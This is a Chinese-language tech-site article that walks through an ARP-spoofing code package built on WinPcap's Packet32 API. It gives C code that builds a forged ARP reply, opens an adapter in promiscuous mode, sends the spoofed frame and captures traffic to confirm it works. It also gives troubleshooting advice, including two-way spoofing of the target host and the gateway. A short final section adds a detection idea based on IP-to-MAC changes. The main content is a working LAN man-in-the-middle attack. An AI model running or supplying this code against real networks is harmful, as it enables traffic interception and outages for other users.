新闻详情

新闻详情

首页 / 资讯中心 / 详情

ARP欺骗代码实战:WinPcap Packet32 构造伪造应答与抓包验证

发布时间:2026/10/1 1:49:18来源:尧图网络
ARP欺骗代码实战:WinPcap Packet32 构造伪造应答与抓包验证
简介这份资源是面向网络协议学习者和网络安全入门者的ARP欺骗原理与实现代码包适合已具备C基础、希望从代码层面理解地址解析协议工作流程与中间人攻击机制的人群。压缩包共10个文件约23KB以cpp源码、h头文件、lib静态库为主辅以dsw、dsp等Visual Studio工程文件另含opt、plg、ncb等开发环境配置项整体结构便于直接在IDE中打开编译调试。核心源码完整呈现ARP请求与应答的收发逻辑及伪造消息实现配合网络抓包与设备控制相关头文件、Windows Socket库可帮助读者追踪数据包构造、地址映射篡改到错误转发的完整链路。已有177人学习下载通过阅读与调试这些代码读者能掌握ARP欺骗的编码细节理解中间人攻击的利用条件并反向思考局域网防护与检测思路对网络协议、网络安全及C网络编程的认知均有实质提升。1. 拆开 arp.rar 之后一份能跑起来的 ARP 欺骗代码长什么样很多人第一次拿到arp.rar_arp欺骗代码这个包是在做协议分析实验或者网络安全课程设计的时候。解压出来一看arp.cpp、arp.dsp、arp.dsw、Packet32.h、DEVIOCTL.H、WS2_32.LIB、Packet.lib一整套典型的 Windows Visual C 6.0 工程结构。它解决的不是教你什么是 ARP这种概念问题而是把 ARP 请求/应答的构造、发送、接收整条链路用 C 写出来让你能真正看到以太网帧里那 28 字节的 ARP 报文是怎么被拼出来、又怎么被塞进网卡的。适合已经懂一点 socket 编程、想从知道 ARP 欺骗原理跨到能自己发一个伪造 ARP 应答的从业者也适合做网络协议实验、需要一份可编译参考实现的人。下面按这份代码是什么 → 怎么编译跑通 → 坑在哪 → 怎么验证的顺序拆。2. 从 Packet32.h 到 WS2_32.LIB这份工程的技术栈与选型逻辑2.1 为什么是 WinPcap 的 Packet32 而不是原始 socket先看文件构成。Packet32.h和Packet.lib是 WinPcap 开发包里的核心前者声明了PacketOpenAdapter、PacketSendPacket、PacketReceivePacket这类函数后者是它们的静态导入库。DEVIOCTL.H则是 WinPcap 驱动层与用户态通信的 IOCTL 码定义负责把打开网卡设置混杂模式读包这些请求翻译成驱动能懂的指令。WS2_32.LIB是 Winsock 2 的库用来做 IP 层辅助操作比如取本机 IP、做字节序转换。为什么不用原始 socket 直接发 ARP因为 Windows 的原始 socket 在 XP SP2 之后对 ARP 这类链路层帧做了限制你没法直接构造一个完整的以太网帧发出去。WinPcap 走的是 NDIS 中间层驱动能绕过协议栈直接读写网卡这才是能自由构造 ARP 帧的前提。所以这份代码的选型逻辑很清楚用 Packet32 拿到链路层收发能力用 WS2_32 处理 IP 相关的辅助逻辑两者配合完成一次完整的 ARP 欺骗。常见做法是程序启动后先用PacketOpenAdapter打开指定网卡拿到一个LPADAPTER句柄再用PacketSetHwFilter把网卡设成混杂模式保证能收到目标主机的 ARP 应答然后进入一个循环一边抓包解析一边按需发送伪造的 ARP 应答。这个流程在arp.cpp里基本就是主逻辑。2.2 工程文件各自管什么把压缩包里的文件按职责分一下编译前心里有数文件类型作用arp.cppC 源码ARP 报文构造、发送、接收的主逻辑arp.dsp / arp.dswVC6 工程/工作区管理编译配置、链接依赖Packet32.h头文件WinPcap 用户态 API 声明Packet.lib静态库Packet32 API 的导入库DEVIOCTL.H头文件驱动 IOCTL 码定义WS2_32.LIB系统库Winsock 2 链接库arp.ncb / arp.opt / arp.plg辅助文件类浏览、编译选项、构建日志可忽略arp.ncb、arp.opt、arp.plg这三个是 VC6 自动生成的删掉也不影响编译工程会自己重建。真正要关心的是arp.dsp里的链接设置有没有把Packet.lib和WS2_32.LIB加进去。2.3 编译前必须补齐的环境这份工程是 VC6 时代的产物直接双击arp.dsw在现代系统上大概率打不开或者报错。我一般会这样处理第一步装 WinPcap 开发包不是运行时的 WinPcap是带Packet32.h和Packet.lib的开发者版本把Include和Lib目录记下来。第二步用 VS2010 或更高版本新建一个空的控制台工程把arp.cpp、Packet32.h、DEVIOCTL.H拷进去然后在项目属性里配置# 项目属性 - C/C - 常规 - 附加包含目录 C:\WpdPack\Include # 项目属性 - 链接器 - 常规 - 附加库目录 C:\WpdPack\Lib # 项目属性 - 链接器 - 输入 - 附加依赖项 Packet.lib;WS2_32.lib;wpcap.lib这里WpdPack是 WinPcap 开发包的常见解压目录名。Packet.lib提供链路层收发wpcap.lib提供高层抓包接口WS2_32.lib提供 socket 辅助函数。三个都加上缺一个就是一堆LNK2019未解析外部符号。第三步把arp.cpp里可能存在的 VC6 专有写法改掉比如#include windows.h之前要定义WPCAP和HAVE_REMOTE否则Packet32.h里的部分声明不展开。常见做法是在文件最顶部加#define WPCAP #define HAVE_REMOTE #include pcap.h #include Packet32.h #include winsock2.h #pragma comment(lib, ws2_32.lib) #pragma comment(lib, Packet.lib) #pragma comment(lib, wpcap.lib)WPCAP宏告诉pcap.h启用 WinPcap 扩展HAVE_REMOTE启用远程抓包相关声明。#pragma comment是 MSVC 特有的链接指令等价于在项目属性里手动加依赖项两种方式选一种即可重复加不会报错但没必要。2.4 ARP 报文构造的关键参数arp.cpp里最核心的一段是填 ARP 帧。以太网 ARP 报文固定 28 字节字段和偏移如下字段偏移长度说明硬件类型02以太网填 0x0001协议类型22IPv4 填 0x0800硬件地址长度41MAC 长度填 6协议地址长度51IP 长度填 4操作码62请求 0x0001应答 0x0002发送方 MAC86伪造时填攻击者或任意 MAC发送方 IP144伪造时填被冒充的 IP目标 MAC186请求时填 0应答时填目标目标 IP244要欺骗的主机 IP构造时最容易翻车的是字节序。ARP 报文里的硬件类型、协议类型、操作码都是网络字节序大端而 IP 和 MAC 是原始字节序列不需要转换。我见过有人把操作码用htons转了两次结果发出去的是 0x0200抓包一看操作码变成 512对端直接忽略。// 构造一个伪造的 ARP 应答告诉 targetIPsenderIP 对应的 MAC 是 fakeMac void BuildArpReply(unsigned char* buf, unsigned char* fakeMac, unsigned long senderIP, unsigned char* targetMac, unsigned long targetIP) { unsigned short hwType htons(0x0001); // 以太网 unsigned short protoType htons(0x0800); // IPv4 unsigned short opcode htons(0x0002); // 应答 memcpy(buf, hwType, 2); memcpy(buf 2, protoType, 2); buf[4] 6; // MAC 长度 buf[5] 4; // IP 长度 memcpy(buf 6, opcode, 2); memcpy(buf 8, fakeMac, 6); // 发送方 MAC 填伪造值 memcpy(buf 14, senderIP, 4); // 发送方 IP 填被冒充的 IP memcpy(buf 18, targetMac, 6); // 目标 MAC memcpy(buf 24, targetIP, 4); // 目标 IP }这段代码里senderIP和targetIP传进来时已经是网络字节序用inet_addr转过的所以直接memcpy即可不要再转。fakeMac是 6 字节数组通常填攻击者本机 MAC 或者一个随机 MAC。填本机 MAC 的好处是后续能收到回包做转发填随机 MAC 则目标主机会把包发到一个不存在的地址表现为断网。3. 把代码跑起来打开网卡、发伪造应答、抓包验证3.1 枚举网卡并选中目标WinPcap 用pcap_findalldevs枚举网卡返回一个pcap_if_t链表。每张网卡有名字\\Device\\NPF_{GUID}格式和描述。选网卡不能靠猜得把描述打出来人工确认。pcap_if_t* alldevs; pcap_if_t* d; char errbuf[PCAP_ERRBUF_SIZE]; if (pcap_findalldevs(alldevs, errbuf) -1) { fprintf(stderr, 枚举网卡失败: %s\n, errbuf); return -1; } int idx 0; for (d alldevs; d ! NULL; d d-next) { printf(%d. %s\n, idx, d-description ? d-description : d-name); } // 用户输入序号后把对应 d 的 name 传给 PacketOpenAdapterpcap_findalldevs返回的链表用完必须pcap_freealldevs释放否则每次调用都泄漏。errbuf是错误缓冲区大小固定PCAP_ERRBUF_SIZE。选中的网卡名字字符串要保存好后面PacketOpenAdapter和pcap_open_live都要用。3.2 打开适配器并设置混杂模式拿到网卡名之后用PacketOpenAdapter打开它再用PacketSetHwFilter设混杂模式LPADAPTER lpAdapter PacketOpenAdapter(adapterName); if (lpAdapter NULL || lpAdapter-hFile INVALID_HANDLE_VALUE) { printf(打开适配器失败\n); return -1; } // 设混杂模式保证能收到发给别人的 ARP 包 if (!PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS)) { printf(设置混杂模式失败\n); return -1; } // 设置内核缓冲区避免高速抓包丢包 PacketSetBuff(lpAdapter, 512000);PacketOpenAdapter的参数是pcap_findalldevs返回的name字段不是description。NDIS_PACKET_TYPE_PROMISCUOUS是混杂模式标志定义在Packet32.h里。PacketSetBuff设内核缓冲区大小单位字节512000 是常见值太小会丢包太大占内存。这一步不做的话目标主机发给网关的 ARP 应答你收不到就没法做双向欺骗。3.3 发送伪造 ARP 应答发送用PacketSendPacket它接收一个LPPACKET结构。先把构造好的 ARP 帧28 字节前面拼上 14 字节以太网头组成完整帧// 以太网头目标 MAC 源 MAC 类型 0x0806(ARP) unsigned char frame[42]; memset(frame, 0xff, 6); // 目标 MAC 先填广播实际欺骗时填目标主机 MAC memcpy(frame 6, localMac, 6); // 源 MAC 填本机 frame[12] 0x08; frame[13] 0x06; // ARP 类型 BuildArpReply(frame 14, fakeMac, senderIP, targetMac, targetIP); // 封装成 LPPACKET 发送 LPPACKET lpPacket PacketAllocatePacket(); PacketInitPacket(lpPacket, frame, 42); if (!PacketSendPacket(lpAdapter, lpPacket, TRUE)) { printf(发送失败错误码: %lu\n, GetLastError()); } PacketFreePacket(lpPacket);PacketAllocatePacket分配一个包结构PacketInitPacket把缓冲区和长度绑上去第三个参数TRUE表示同步发送等发送完成才返回。frame长度 42 14 以太网头 28 ARP 报文。欺骗单台主机时以太网头的目标 MAC 要填那台主机的真实 MAC填广播也能生效但会打扰全网。发送失败时GetLastError返回的错误码常见的是 5拒绝访问说明没用管理员权限运行。3.4 抓包验证欺骗是否生效发出去不算完得抓包确认。用pcap_open_live在同一个网卡上开一个抓包句柄过滤 ARPpcap_t* fp pcap_open_live(adapterName, 65536, 1, 1000, errbuf); struct bpf_program fcode; pcap_compile(fp, fcode, arp, 1, 0xffffff); pcap_setfilter(fp, fcode); struct pcap_pkthdr* header; const u_char* pkt_data; int res; while ((res pcap_next_ex(fp, header, pkt_data)) 0) { if (res 0) continue; // 超时 // pkt_data 14 是 ARP 报文起始 unsigned short op ntohs(*(unsigned short*)(pkt_data 14 6)); printf(抓到 ARP 包操作码: %d\n, op); }pcap_open_live的第三个参数 1 表示混杂模式第四个 1000 是超时毫秒。pcap_compile把过滤表达式arp编译成 BPF 字节码pcap_setfilter应用。pcap_next_ex返回 1 表示抓到包0 表示超时-1 出错-2 表示文件读完离线抓包时。抓到操作码 2 的包且发送方 IP 是你伪造的那个就说明欺骗包发出去了。4. 避坑与排查这份老代码在新环境下的五个血泪经验4.1 编译报 LNK2019 找不到 PacketSendPacket现象链接阶段一堆LNK2019: 无法解析的外部符号 _PacketSendPacket12。原因Packet.lib没加进链接依赖或者加的是 64 位版本而工程是 32 位。解决确认项目属性里附加依赖项有Packet.lib且库目录指向的是WpdPack\Lib32 位而不是Lib\x64。VC6 工程默认 32 位混用 64 位库必报这个错。4.2 程序运行提示打开适配器失败现象PacketOpenAdapter返回 NULL 或句柄无效。原因没用管理员权限运行或者网卡名传的是description而不是name。解决右键以管理员身份运行。网卡名必须是\\Device\\NPF_{...}这种格式pcap_findalldevs返回的name字段才是description是给人看的。我一般会在枚举时把两个都打出来让用户按序号选程序内部用name。4.3 欺骗包发出去了但目标主机没断网现象抓包能看到伪造应答但目标主机上网正常。原因目标主机 ARP 缓存里已经有网关的正确 MAC且没到期你的伪造应答被忽略或者你只欺骗了目标主机没欺骗网关单向欺骗对转发没影响。解决先发一个伪造的 ARP 请求或应答强制刷新目标缓存或者等缓存老化Windows 默认 ARP 缓存 2 分钟左右。双向欺骗要同时告诉目标主机网关的 MAC 是我和告诉网关目标主机的 MAC 是我两个方向都发。4.4 抓包丢包严重高速流量下漏包现象pcap_next_ex频繁返回超时抓到的包远少于实际。原因内核缓冲区太小或者用户态处理太慢。解决PacketSetBuff把缓冲区调到 1MB 以上抓包线程和业务线程分开抓到的包先入队列再处理。pcap_open_live的 snaplen 设 65536 保证整包捕获超时设小一点比如 100ms让循环转得快。4.5 在虚拟机或无线网卡上完全无效现象有线网卡能跑换无线网卡或虚拟机里跑一个包都发不出去。原因无线网卡驱动对原始帧注入支持差很多无线网卡不允许发任意以太网帧虚拟机网卡如果是 NAT 模式链路层被虚拟化层隔离。解决用有线网卡做实验虚拟机网络改成桥接模式。GNS3 里做 ARP 实验时路由器连主机那一段用桥接的物理网卡别用 NAT。这也是为什么热词里gns3 中两个路由器分别连接主机然后分析 ip 数据转发报文 arp 协议这类实验环境选对了才跑得通。5. 进阶用免费 ARP 探测 IP 冲突与欺骗检测思路把基础收发跑通之后这份代码还能改出两个实用方向。第一个是免费 ARPGratuitous ARP探测 IP 冲突构造一个发送方 IP 和目标 IP 相同的 ARP 请求广播出去如果收到应答说明网络里已经有主机占用了这个 IP。改法很简单把BuildArpReply换成构造请求操作码 0x0001senderIP和targetIP填同一个地址目标 MAC 填广播。// 免费 ARP 请求探测 probeIP 是否已被占用 void BuildGratuitousArp(unsigned char* buf, unsigned char* localMac, unsigned long probeIP) { unsigned short hwType htons(0x0001); unsigned short protoType htons(0x0800); unsigned short opcode htons(0x0001); // 请求 memcpy(buf, hwType, 2); memcpy(buf 2, protoType, 2); buf[4] 6; buf[5] 4; memcpy(buf 6, opcode, 2); memcpy(buf 8, localMac, 6); memcpy(buf 14, probeIP, 4); memset(buf 18, 0x00, 6); // 目标 MAC 全 0 memcpy(buf 24, probeIP, 4); // 目标 IP 与发送方相同 }发出去之后监听 2 秒收到操作码 0x0002 且发送方 IP 等于probeIP的包就说明冲突。这个技巧在批量部署服务器、排查IP 添加失败拒绝访问这类问题时特别有用——热词里那个arp 添加失败拒绝访问很多时候就是 IP 已被占用或者权限不够。第二个方向是欺骗检测正常网络里同一个 IP 对应的 MAC 不应该频繁变化。写一个监控循环记录每个 IP 最近一次应答的 MAC如果短时间内收到同一 IP 但不同 MAC 的 ARP 应答就打印告警。这其实就是很多 ARP 防火墙比如热词里提到的火绒拦截对外 ARP 攻击的基本原理——维护一张 IP-MAC 映射表发现异常变更就拦截。你可以在这份代码基础上加一个std::mapunsigned long, unsigned char[6]做映射表每次收到 ARP 应答就比对。验证方法上我习惯用两台机器对跑A 机跑欺骗程序B 机开arp -a看缓存变化同时在 A 机上用 Wireshark 抓包确认帧结构。判断标准就三条B 机arp -a里网关的 MAC 变成了 A 机的 MACB 机 ping 网关的包在 A 机上能抓到A 机开启转发后 B 机能正常上网。三条都满足说明欺骗链路完整。从那以后我每次拿到这类老工程都强制先确认三件事库的位数和工程匹配、网卡名用的是name不是description、程序以管理员权限跑。这三步走完九成的跑不起来都能定位。希望帮到你。本文还有配套的精品资源点击获取
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

docker-elk 集成指南:用 Filebeat 采集 Docker 容器日志并转发至 Elasticsearch 2026/10/1 2:40:46

docker-elk 集成指南:用 Filebeat 采集 Docker 容器日志并转发至 Elasticsearch

日志分析可观测性运维DevOps 【免费下载链接】docker-elk The Elastic stack (ELK) powered by Docker and Compose. 项目地址: https://gitcode.com/gh_mirrors/do/docker-elk 点击查看 免费下载 Filebeat 是 Elastic 生态中的轻量级日志采集器(shippe…

阅读更多 →
Ice:macOS 菜单栏图标隐藏与拖拽布局指南 2026/10/1 2:40:46

Ice:macOS 菜单栏图标隐藏与拖拽布局指南

Ice:macOS 菜单栏图标隐藏与拖拽布局指南 【免费下载链接】Ice Powerful menu bar manager for macOS 项目地址: https://gitcode.com/GitHub_Trending/ice/Ice Ice 是一款 macOS 菜单栏管理工具,核心是把菜单栏图标收进隐藏区、需要时临时唤出&a…

阅读更多 →
免费代码编辑器选型指南:按场景挑工具,零成本搭好开发环境 2026/10/1 2:40:46

免费代码编辑器选型指南:按场景挑工具,零成本搭好开发环境

免费代码编辑器选型指南:按场景挑工具,零成本搭好开发环境 【免费下载链接】free-for-dev A list of SaaS, PaaS and IaaS offerings that have free tiers of interest to devops and infradev 项目地址: https://gitcode.com/GitHub_Trending/fr/fre…

阅读更多 →
nodebestpractices 错误处理实践:仅使用内置 Error 对象构建统一错误模型 2026/10/1 2:40:46

nodebestpractices 错误处理实践:仅使用内置 Error 对象构建统一错误模型

文档教程后端 【免费下载链接】nodebestpractices ✅ The Node.js best practices list (July 2026) 项目地址: https://gitcode.com/GitHub_Trending/no/nodebestpractices 点击查看 免费下载 本指南对应 nodebestpractices 仓库错误处理实践 2.2「Extend the bui…

阅读更多 →
免费网盘直链下载工具 LinkSwift:8 大网盘从安装到批量下载 2026/10/1 2:40:45

免费网盘直链下载工具 LinkSwift:8 大网盘从安装到批量下载

免费网盘直链下载工具 LinkSwift:8 大网盘从安装到批量下载 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 /…

阅读更多 →
压力测试实战:从场景设计到故障定位的全链路指南 2026/10/1 2:40:39

压力测试实战:从场景设计到故障定位的全链路指南

1. 压力测试不是“多点几下鼠标”,而是对系统生命力的极限拷问很多人第一次听说压力测试,脑子里浮现的画面是:打开JMeter,填几个URL,点个“启动”,然后盯着屏幕上跳动的TPS数字,等它飙到500、10…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉